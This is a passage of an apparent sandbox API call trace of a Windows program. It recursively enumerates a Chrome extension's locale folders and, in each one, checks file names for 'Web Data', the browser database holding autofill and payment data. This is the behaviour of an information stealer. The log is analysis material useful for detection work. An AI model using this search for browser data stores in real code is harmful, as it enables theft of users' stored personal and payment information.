Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko" [0056.255] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*" [0056.255] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.255] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.255] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.255] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.255] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.255] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.255] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.255] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.255] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.255] LocalFree (hMem=0x2daca0) returned 0x0 [0056.255] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.255] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.255] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.255] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.256] lstrlenA (lpString="\\") returned 1 [0056.256] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.256] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.256] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.256] lstrlenA (lpString="lt") returned 2 [0056.256] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.256] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.256] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt" [0056.256] LocalFree (hMem=0x2daca0) returned 0x0 [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt") returned 131 [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt") returned 131 [0056.256] lstrlenA (lpString="\\*.*") returned 4 [0056.256] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.256] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt" [0056.256] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*" [0056.256] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.256] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.256] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.256] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.256] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.256] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.256] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.256] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.256] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.256] LocalFree (hMem=0x2daca0) returned 0x0 [0056.256] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.256] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.256] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.256] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.256] lstrlenA (lpString="\\") returned 1 [0056.256] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.256] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.256] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.256] lstrlenA (lpString="lv") returned 2 [0056.256] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.256] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.256] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv" [0056.256] LocalFree (hMem=0x2daca0) returned 0x0 [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv") returned 131 [0056.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv") returned 131 [0056.256] lstrlenA (lpString="\\*.*") returned 4 [0056.256] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.256] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv" [0056.256] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*" [0056.256] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.257] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.257] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.257] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.257] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.257] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.257] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.257] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.257] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.257] LocalFree (hMem=0x2daca0) returned 0x0 [0056.257] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.257] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.257] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.257] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.257] lstrlenA (lpString="\\") returned 1 [0056.257] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.257] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.257] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.257] lstrlenA (lpString="ms") returned 2 [0056.257] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.257] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.257] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms" [0056.257] LocalFree (hMem=0x2daca0) returned 0x0 [0056.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms") returned 131 [0056.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms") returned 131 [0056.257] lstrlenA (lpString="\\*.*") returned 4 [0056.257] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.257] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms" [0056.257] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*" [0056.257] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.257] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.257] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.257] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.257] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.257] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.257] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.257] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.257] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.258] LocalFree (hMem=0x2daca0) returned 0x0 [0056.258] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.258] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.258] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.258] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.258] lstrlenA (lpString="\\") returned 1 [0056.258] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.258] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.258] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.258] lstrlenA (lpString="nl") returned 2 [0056.258] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.258] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.258] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl" [0056.258] LocalFree (hMem=0x2daca0) returned 0x0 [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl") returned 131 [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl") returned 131 [0056.258] lstrlenA (lpString="\\*.*") returned 4 [0056.258] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.258] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl" [0056.258] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*" [0056.258] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.258] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.258] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.258] lstrcmpiA (lpString1=".", lpString2="..") returned -1 